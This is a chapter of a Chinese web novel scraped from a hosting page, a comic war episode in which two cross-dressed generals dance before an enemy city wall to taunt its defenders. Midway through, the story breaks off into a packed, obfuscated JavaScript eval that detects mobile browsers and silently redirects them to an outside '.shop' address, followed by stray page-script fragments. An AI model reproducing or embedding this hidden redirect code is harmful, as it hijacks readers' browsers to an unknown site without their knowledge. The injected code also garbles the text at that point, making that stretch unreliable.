文趣网 > 其他小说 > 浮光渡厄 > 137. 百木城前舞
    攻下忌城月余,粮草才到。

    忌城城楼早就插上了襄朝国号与将领‘萧’字帅旗。

    城中老幼以及慕军残留势力被收编或清缴。

    整合资源,修缮城防,一月前汹涌的护城河如今倒是平静。

    皇城来了封赏。

    未传来其他作战指令。

    高级将领也陆续搬进了城中。

    州府。

    花园。

    花园中并没有花。

    零零散散种着几棵黄瓜。

    开着黄花。

    有的已经结了瓜。

    被一只手掰下来,就着衣裳擦了擦。

    副将解令涛嘴里嚼着黄瓜,“日他奶奶个腿,真把咱当吃草的了,等老子回朝,一人给一脚,不把他们屎踹出来算他们拉的干净。”

    余光瞧见一个身影,连忙追了过去。

    解令涛大声道:“戚失!”

    跑近了,解令涛道:“是给姜万辰取家书?”

    戚失点了点头,手中拿着厚厚一叠。

    解令涛道:“左右今日无事,跟你一起去看看。他好多了吧?”

    戚失人长得傻傻的。

    眼距有些宽。

    点了点头。

    说话也慢悠悠,显得更傻了。

    “嗯,李军医说尽量不要活动左臂。”

    解令涛呲着个牙笑,怀里揣着的黄瓜分给戚失一根:“这小子命真大。我就看他是个有福的,体格子也不错,半年就能恢复好了吧。”

    戚失点了点头,嗯了一声。

    两人结伴去了姜万辰暂住的府邸。

    是个二进的小院。

    里头没有鸟语花香。

    一切从简。

    只是将将能住人、有齐全的生活设施。

    进了屋,他穿着一身长袍,因为负伤休养现在显得长袍有些宽松。

    桌子上铺着一张地图。

    转头看去,见解令涛也来了,姬玥道:“解副将随意坐吧。”

    蒲柳送来了椅凳。

    这屋子里……

    实在是简陋。

    也不是简陋。

    就是少点什么。

    少什么呢……

    解令涛坐在凳子上啃着黄瓜,与姬玥闲聊。

    想了半天,似乎知道了。

    少点什么……

    哦!

    桌上怎么一点吃的都没摆!

    这时,校尉何忠也来看他。

    何忠与解令涛聊了起来。

    俩人越聊越欢。

    戚失也时不时插一嘴。

    蒲柳将信一张张的拆开。

    姬玥看了几张。

    准备回信。

    蒲柳磨墨。

    姬玥在纸上认真写满了一张。

    蒲柳道:“小侯爷,还有一封是陈公子的。”

    姬玥道:“拆开看看。”

    信封很厚,纸有三页。

    入目便是三个大点。

    然后才瞧见字。

    这字写的张狂无比。

    没有什么格式可言。

    写的随心随意。

    ‘万辰台鉴。

    自你随军到现在也有两年了,听我爹说忌城已取,你怎样?

    打仗很辛苦吧,万事小心。

    水要烧开了喝。

    家这边,这些日子很热。

    啥时候回来给我家赢麟补上满月礼?

    我家赢麟会喊爹爹了。’

    而后便是几道模糊的笔迹涂鸦。

    ‘我家赢麟跟你问好。’

    再往后,就是陈长期分享的一大串日常。

    吃了什么。

    喝了什么。

    玩了什么。

    倒是叫姬玥想家了。

    提起笔回信。

    写到最后,偷偷看了一眼吵闹的几人。

    姬玥在纸上画了一只蛐蛐。

    是他馋了很久的那只黑将军。

    也不知道黑将军在阴曹地府过得怎么样。

    想到蛐蛐,自然也就想到其他虫子。

    有点想吃炸金蝉。

    想不明白陈长期为什么要在信里头记了一整个月他吃的菜。

    可恶!

    另外几人聊的起劲。

    姬玥听着。

    左右不过是谈论些军中用度。

    狗养的文官只知道享福,战时屁用没有。

    有的还拖后腿。

    复盘前几场战役。

    发的甲胄穿上时有些勒蛋。

    甲太亮容易被射。

    有点想家里妻儿了。

    姬玥靠在椅子上,左肩膀的线还没拆。

    本就天热。

    为防止汗浸,他上身就穿了一层单纱袍。

    右手撑着脑袋,听屋内几人吹牛。

    军中少见的清闲时光。

    此时八月。

    十月初。

    皇城传诏。

    集合西部、北部十三万大军,肃整伐慕。

    北守忌城兵力一万七。

    留五千守忌。

    一万二千兵力汇入大军。

    萧驱率领两万精锐铁骑,一举夺下边陲小国奔岫、奔阴,收拢两小国中残军五万余,汇入大军。

    正值秋季。

    奔岫奔阴两小国正恰好收,粟麦供应足。

    十二月,天气渐寒。

    近二十万大军向北攻进。

    战功多封。

    吞并数城。

    次年三月,慕国秦代哲率领二十七万大军兵分三路抵御襄军。

    四月,国中消息南方野人骚扰襄朝南部,境内多起山贼,中部调军一万镇压。

    慕国大将秦代哲奋起抵御,保下慕国多半领土,来回攻占,又耗战一年有余,襄军被卡在一个尴尬的地方。

    冬冷夏热。

    襄二十万大军,仍由萧驱主帅。

    军中分设四员大将,临时设立几方将领。

    姬玥旧伤已好,依战功,此次征战被封车骑将军,转赐龙符。

    距姬玥重伤那次,已经过去了两年。

    天气热。

    将领没在帐中。

    树荫下,几人随意坐着。

    远处靠河的士兵都脱了甲,光着蛋,互相往身上泼水。

    “要我说,直接在上游下毒,毒死个万八千,省的咱们叫阵他们不出来!草!一群缩头王八!要不是怕被冷箭射死,老子就光着腚去叫阵了!”

    姬玥踞坐着,手中摇着扇子,白了一眼解令涛,道:“那咱们在上游还是下游?”

    解令涛哼了一声,偏头去瞧何忠,问道:“何忠你说,这战不得战,是不是还不如快快调转方向去攻打河崖。”

    戚失是个老实人。

    本来跟着挺正经的小侯爷。

    自己也老实。

    但是跟这群会武的老流氓待久了。

    小侯爷不正经了。

    自己也跟着也少点正经了。

    戚失锤了一下解令涛的屁股,道:“这百木城易守难攻,周围山地树林无数,绕过去打河崖肯定不行而且河崖太远,奔波失力,那处地形更险。你还不如光着腚去叫阵。”

    “要是老子长得美点,老子直接穿着花魁衣去阵前跳舞。”解令涛开玩笑的肘回去,倒是忘了自己是个脂包肌的壮汉,差点把戚失一肘子肘回襄朝老家。

    姬玥挠着肚子:“直接穿着纱裙舞剑,迷死慕军前锋。”

    萧驱手中拿着地图瞧,也说:“这法子不错,下午叫阵,解副将可一试。”

    解令涛故意做作的掐着兰花指:“讨厌,你们是不是都觊觎我的美色~”

    何忠半倚在旁边树前,被逗笑:“胡说!明明我才是最美的!”

    两道粗犷的男音一声接一声。

    “我最美!”

    “我最美!”

    “你放屁!”

    “你讨厌!”

    “你他娘的才讨厌!”

    ……

    萧驱将地图一收,沉默了一会,挠了挠脑袋:“你俩今下午一起去叫阵。”

    姬玥热的扯开裤子,扇也摇得快,盯着树叶。

    夏季。

    风向老是向南。

    火攻行不通。

    未时三刻。

    副将解令涛。

    校尉何忠。

    二人软甲外套着舞裙。

    印泥涂了大红唇。

    青眼皮似乎能添一丝蛊惑感。

    千娇百媚是一点不沾。

    半夜在下巴举个火把可能会吓死人。

    众人憋笑也是很艰难。

    何忠瞧了一眼解令涛,险些被口水呛到。

    而后转身目光炯炯,何忠魅惑的大红唇蠕动道:

    “报!末将觉得,我们俩这样去,会被敌方笑死!”

    萧驱语重心长道:“今天你们俩的任务,就是在他们城门前跳舞,吸引一下注意力。”

    姬玥也道:“离近前,戴个铜面具,近了之后再摘下。”

    其余几个将领点头称是。

    解令涛倒是无感。

    生而为将,跳个舞,也无伤大雅。

    跳舞咋了!

    本副将身躯虽然肥硕,但是征战多年,舞步轻盈,肯定不输舞姬!

    只是眯着眼斜视了下萧驱。

    没想到萧将军这种浓眉大眼的家伙,也喜欢捉弄人!

    下午。

    襄军照常城门前叫阵。

    百木城依旧紧闭城门,不应战。

    战将战旗‘何’、‘解’两旗被风吹的猎猎作响。

    阵鼓狂敲。

    让城楼防守兵士有些奇怪的是,今日襄军阵鼓声中夹杂着……

    琴声?

    似乎更多。

    细细瞧去。

    还有吹笛的、拉胡的。

    城楼上的士兵窃窃私语。

    悠哉游哉。

    镇守百木城的士兵们竖着耳朵仔细听了听。

    妙啊。

    这种小曲。

    带着丝甜甜的温柔。

    与前几日襄军叫骂相比,今天这简直是仙乐!

    此曲只应天上有!

    下头还有人唱曲!

    妙。

    妙。

    妙啊。

    全体欣赏音乐!

    远处。

    襄军让出一条道。

    小跑来两个体态丰腴的美人。

    风把她们的舞裙吹得翩飘,

    像是误入尘间的胖蝴蝶。

    就那胖乎乎还轻飘飘的小步伐,把城楼上一片慕军将士迷的不要不要的。

    离得近了。

    这两个身材丰腴、肤色有些偏黑的美人双双跳起了舞。

    城楼上。

    镇守的士兵小口品着凉白开,啧啧几声,美滋滋的瞧着。

    那美人高抬脚,衣裙随着舞蹈动作从脚踝滑落。

    露出粗壮的大腿。

    好白。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760043|207271||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    比胳膊白。

    就是有点腿毛。

    一群慕军士兵美滋滋的趴在城楼上欣赏。

    不料。

    此时两个美人突然摘下了她们神秘的面具。

    品着凉白开的士兵险些吐出一口老血。

    尼玛!

    这是从哪薅来的俩山药老根成精!

    定睛一看。

    原来是特么的襄军战将。

    青眼皮抛着媚眼。

    大红唇翻着嘟嘴。

    原本校尉何忠是有些放不开的。

    但是一摘下面具,城楼上响起慕军的被恶心到了的叫骂时,何忠内心的空缺似乎被填满了。

    这种恶心别人的感觉。

    太特么爽了!

    何忠不愿意承认这是一种变态的欲/望。

    他完完全全把这种内心奇异的满足感归功为为国出力。

    相对于脂包肌的副将解令涛,何忠算是瘦的。

    但是也不瘦。

    城楼上时不时传来暴怒声。

    很好。

    他们破防了。

    守将一个劲拍城楼砖,竟硬生生掰下来一块。

    那块砖被守将狠狠扔下。

    副将解令涛轻飘飘的躲过,朝着那个守将飞了一个香吻。

    笑了。

    解令涛,襄朝大军副将军。

    能扛七百斤石磨。

    能跳热辣魅惑劲舞。

    这样一个有魅力的人所抛出的香吻,守将竟回复了一个干呕。

    城楼慕军很快想出了应对办法。

    前几天耳朵受罪。

    今天眼睛受罪。

    我们不看不就好了!

    襄朝军士奏的乐曲还是不错的。

    全体闭眼欣赏音乐!

    嗯~妙~~

    妙~

    嗯?

    美妙的乐曲戛然而止。

    被难听的声音代替。

    还有辣耳朵让人便秘的歌声混杂其中:

    “林间雾终散~啊~~”

    “佳搂月明归~~~~~”

    “望断燎青山~~~~”

    不睁眼都猜到是那两个家伙唱的。

    一个调子恨不得三十转。

    粗犷沙哑,词吼着,有人忍不住去瞧。

    是襄朝的民间小调还是什么。

    只见襄军那两个女装将领正互相牵着手含情脉脉的对视,一起唱道:“人影未见、赶年少,连十几时也忘掉。”

    “总不归,迟难调……”

    两个大将的媚眼直往城楼上抛。

    上边传来破防的声音。

    “放箭!放箭!!!!”

    “给老子把这俩玩意弄死!!!!”

    再勇猛的将士受到何、解两位战将的魅惑攻击都会怀疑人生的。

    何、解两员舞将正二魔双舞中。

    对于城楼上破防的声音他们是一点都不在乎。

    沉浸在自己的艺术中不可自拔。

    上边果然有人劝道:“镇北将军不可!我等不应战,万不可再放冷箭。”

    “是啊将军,他们连这么恶心的事都能做出来,谁知道后边还有什么阴招!”

    城楼上的兵士。

    一个个表情像是吃了屎。

    相比于看见这个。

    他们宁愿已经死了。

    一连三日。

    战将劲舞。

    如果第一日的热辣劲舞算是收敛。

    那第二天第三天算是什么?

    舞艺提升演出?

    而且舞裙也越来越暴露。

    穿在美人身上那是好看。

    穿在那俩家伙身上。

    叫慕军百木城守城将士恨不得自戳双目。

    闭眼不看,那站岗有个屁用。

    静心瞧着远方。

    想家。

    第四日。

    满脸菜色的百木城守兵早上吃的十分清淡。

    他们正在努力习惯这种既要顶着烈日高温站岗、还要忍受辣眼画面的生活。

    “快看!那不是襄军何、解二将吗!”

    顺着指向瞧过去。

    一众将旗被风吹得猎猎作响。

    萧、姜、何、戚、解等等看不尽。

    而一众守城将士第一眼便瞧见了那两人。

    只见襄军大将何忠、解令涛二人今日穿着一身威风凛凛的战甲,骑在高头大马上,手握长枪。

    腰间负剑。

    好家伙!

    他们俩今天终于不再恶心人了。

    守兵高兴。

    有人问道,“弟兄们饿不饿,我去带些餐食过来。”

    “我也去。”

    这三天被襄军舞将恶心的都吃不下饭。

    下头骂阵一声接一声。

    擂鼓震天响。

    百木城将士优哉游哉。

    随便骂。

    这点攻击力,对比前三日的劲舞折磨,跟蚂蚱腿蹬人一样。

    况且骂的是将军。

    那震耳的鼓声比襄军舞将的歌声好听太多。

    城楼上传来一阵阵香气。

    士兵们加餐中。

    士兵啃着馕,有些郁闷,

    “他们怎么突然不骂了?”

    襄军静悄悄。

    鼓声也止住了。

    起身往下看去。

    那群襄军脸上各个带着猥琐的笑容。

    不知道什么时候阵前开来了十几辆投石车。